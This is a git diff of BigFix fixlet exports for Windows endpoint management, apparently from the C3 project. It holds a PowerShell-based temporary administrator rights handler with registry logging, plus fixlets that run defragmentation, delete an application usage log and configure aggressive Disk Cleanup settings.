+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25224">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to convert all permanent administrators with&amp;nbsp;authorized requestors permission to having temporary administrative rights permanently.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +Authorized Requestors who are Administrators
+// -Current Temporary Administrators
+
+parameter "SIDS"="{concatenations ";" of elements of (intersection of ( set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current" of x32 registry; set of component strings of (sids of members of local group "Administrators") whose (exists user of it)) -  set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry)}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (1000000 * week)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Defragement and Optimize Drives - Windows (23382).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Defragement and Optimize Drives - Windows (23382).bes
new file mode 100644
index 000000000..211587795
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Defragement and Optimize Drives - Windows (23382).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Defragement and Optimize Drives - Windows
+  ID       : 23382
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-01T19:23:35
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Defragement and Optimize Drives - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet runs defragmentation or optimization on the targeted devices.</P>
+<P>This fixlet has generic relevance and should not be set to re-apply without a delay.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-11-15</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">runhidden schtasks /run /TN &quot;Microsoft\Windows\Defrag\ScheduledDefrag&quot;</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Delete Application Usage Log - Windows (21052).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Delete Application Usage Log - Windows (21052).bes
new file mode 100644
index 000000000..e69b7d724
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Delete Application Usage Log - Windows (21052).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Delete Application Usage Log - Windows
+  ID       : 21052
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-18T09:14:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Delete Application Usage Log - Windows</Title>
+    <Description><![CDATA[<P>This fixlet removes the application usage log from the system.</P>
+<P>For general information or to report issues with C3 Application Usage content please visit GitHub here: <A href="https://github.com/strawgate/C3-Application-Usage">https://github.com/strawgate/C3-Application-Usage</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists pathname of file &quot;AppUsage.xml&quot; of folder &quot;C3AppUsage&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-07-18</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">waithidden cmd.exe /c del /Q /F &quot;{pathname of file &quot;AppUsage.xml&quot; of folder &quot;C3AppUsage&quot; of folder &quot;__Global&quot; of data folder of client}&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Delete Legacy Application Usage Log - Windows (21059).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Delete Legacy Application Usage Log - Windows (21059).bes
new file mode 100644
index 000000000..82af3c953
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Delete Legacy Application Usage Log - Windows (21059).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Delete Legacy Application Usage Log - Windows
+  ID       : 21059
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T13:12:15
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Delete Legacy Application Usage Log - Windows</Title>
+    <Description><![CDATA[<P>This fixlet removes legacy-formatted application usage logs from the system.</P>
+<P>For general information or to report issues with C3 Application Usage content please visit GitHub here: <A href="https://github.com/strawgate/C3-Application-Usage">https://github.com/strawgate/C3-Application-Usage</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists pathname of file &quot;AppUsage.xml&quot; of folder &quot;C3AppUsage&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
+    <Relevance>not exists selects &quot;/Usage/Applications&quot; of xml document of file &quot;AppUsage.xml&quot; of folder &quot;C3AppUsage&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-07-18</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">waithidden cmd.exe /c del /Q /F &quot;{pathname of file &quot;AppUsage.xml&quot; of folder &quot;C3AppUsage&quot; of folder &quot;__Global&quot; of data folder of client}&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Disk Cleanup - Windows (21628).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Disk Cleanup - Windows (21628).bes
new file mode 100644
index 000000000..f2156136d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Disk Cleanup - Windows (21628).bes	
@@ -0,0 +1,107 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Disk Cleanup - Windows
+  ID       : 21628
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:22:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Disk Cleanup - Windows</Title>
+    <Description><![CDATA[<P>This will invoke a Window Disk Cleanup with aggressive cleanup settings.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+if {x64 of operating system}
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Active Setup Temp Folders]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\BranchCache]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Downloaded Program Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameNewsFiles]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameStatisticsFiles]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameUpdateFiles]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Internet Cache Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Memory Dump Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Offline Pages Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Old ChkDsk Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Previous Installations]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Recycle Bin]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\RetailDemo Offline Content]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Service Pack Cleanup]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Setup Log Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error memory dump files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error minidump files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Setup Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Temporary Sync Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Thumbnail Cache]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Update Cleanup]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Upgrade Discarded Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Defender]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Archive Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Queue Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Archive Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting System Queue Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Error Reporting Temp Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows ESD installation files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Upgrade Log Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+
+else
+
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Active Setup Temp Folders]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\BranchCache]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Downloaded Program Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameNewsFiles]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameStatisticsFiles]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\GameUpdateFiles]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Internet Cache Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Memory Dump Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Offline Pages Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Old ChkDsk Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Previous Installations]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Recycle Bin]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\RetailDemo Offline Content]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Service Pack Cleanup]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Setup Log Files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error memory dump files]&quot; &quot;StateFlags1337&quot;=dword:00000002
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\System error minidump files]&quot; &quot;StateFlags1337&quot;=dword:00000002
